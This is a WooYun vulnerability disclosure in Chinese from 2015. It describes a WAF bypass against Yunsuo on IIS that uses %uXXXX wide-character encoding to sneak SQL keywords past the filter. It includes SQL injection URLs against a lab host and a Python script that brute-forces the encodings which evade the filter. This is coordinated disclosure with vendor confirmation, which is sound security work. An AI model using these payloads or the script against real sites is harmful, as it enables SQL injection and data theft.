当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115175

漏洞标题:一个有意思的通用windows防火墙bypass(云锁为例)

相关厂商:云锁

漏洞作者: MayIKissYou

提交时间:2015-05-20 17:41

修复时间:2015-08-23 09:46

公开时间:2015-08-23 09:46

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-20: 细节已通知厂商并且等待厂商处理中
2015-05-25: 厂商已经确认,细节仅向厂商公开
2015-05-28: 细节向第三方安全合作伙伴开放
2015-07-19: 细节向核心白帽子及相关领域专家公开
2015-07-29: 细节向普通白帽子公开
2015-08-08: 细节向实习白帽子公开
2015-08-23: 细节向公众公开

简要描述:

一个有意思的通用bypass

详细说明:

1:之前自己总结了一个帖子,内容上将waf bypass分了几个层面,其中有一个层面是web服务器层面,记得在内容上提到了iis服务器的一些trick
2:IIS在对%u0011形式的内容的时候,是可以解析的,例如我的url为:

http://192.168.15.130/letmetest.asp?t=152522098 and(select top 1  eventname_en from eventshelp)>0


我将url编码为:

http://192.168.15.130/letmetest.asp?t=152522098 and(s%u0065lect top 1  eventname_en from eventshelp)>0


s%u0065lect的形式的时候也会被iis解析为select
3:于是我先在本地搭建了一个云锁的环境,iis版本,本机使用了windows2003的环境,
并且创建了一个有漏洞的页面http://192.168.15.130/letmetest.asp
4:我先用以上方式去访问 %u0065的方式,此时发现云锁此种情况过滤了.
5:此时正题来了,
奇葩的想法是这里应该%uxxxx可以填写65535次个字符,会不会有不同国家的编码select对应解析出来成为ascii的select阿![事后发现是多傻吊的想法]
6:自己写了个代码:

import httplib
import re
url = '192.168.15.130'
payload = '/letmetest.asp?t=152522098/**/%u00aand(s%u'
for i in range(65536):
result = hex(i).replace('0x','')
if len(result)<4:
c = 4-len(result)
b = '0'*c
zz = b + hex(i).replace('0x','')
else:
zz = hex(i).replace('0x','')
test = '%slect/**/count(*)/**/from/**/eventshelp)>0' % zz
conn = httplib.HTTPConnection(url)
try:
conn.request('GET',payload+test)
res = conn.getresponse().read()
if re.search('Acunetix',res):
print 'test char:char(%s)' % zz
except:
pass


代码有点搓,大致的想法就是测试select中e的字母能否被%u的其他字符替代。
7:测试结果:

yunsuo.png


我擦竟然有一个字符%u00f0被当成e字符了,我输入s%u00f0lect 被iis解析滞后成了select
貌似这样绕过了云锁的防御。
8:我使用%u0065访问,直接被云锁干掉了

yunsuo2.png


9:我使用%u0095访问,直接报错注入,出来内容了

yunsuo3.png


注意图片中的and中的a,也被我用同样的方式处理了。
10:擦 难道真的和我说的一样,我还是太天真了,之前吊死的想法往往最后通过查资料都证明自己二了,查阅了一段时间的资料之后搜索到一片文章。

http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html


写的是一篇IIS的新UNICODE漏洞WideChar和MultiByte字符转换问题,貌似是大牛yuange写的,前面竟然写的是2002年。
11: 看了半天,查阅了其他一些资料大致意思应该是我们传入的是widechar,widechar iis可以处理,会被转换。这里转换的时候会出现一个问题。

多个widechar会有可能转换为同一个字符。


12:我测试了一下发现有些字符是会出现的,有些就不会出现多个转换成一个的情况,但是对于检测来说,往往只需要一个字符,即可达到绕过规则的目的。
13:这种类型的问题一般都会有通用型,web服务器特性导致的绕过一般影响面是比较广的。
尤其是那种云waf或则硬件waf,而且不仅仅是影响注入,其他的防御也会受到影响。

漏洞证明:

8:我使用%u0065访问,直接被云锁干掉了

yunsuo2.png


9:我使用%u0095访问,直接报错注入,出来内容了

yunsuo3.png


注意图片中的and中的a,也被我用同样的方式处理了。

修复方案:

对于敏感关键字的增加过滤

版权声明:转载请注明来源 MayIKissYou@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-25 09:45

厂商回复:

感谢MayIKissYou对我们的关注,此问题将在云锁下个公开版本中解决。

最新状态:

暂无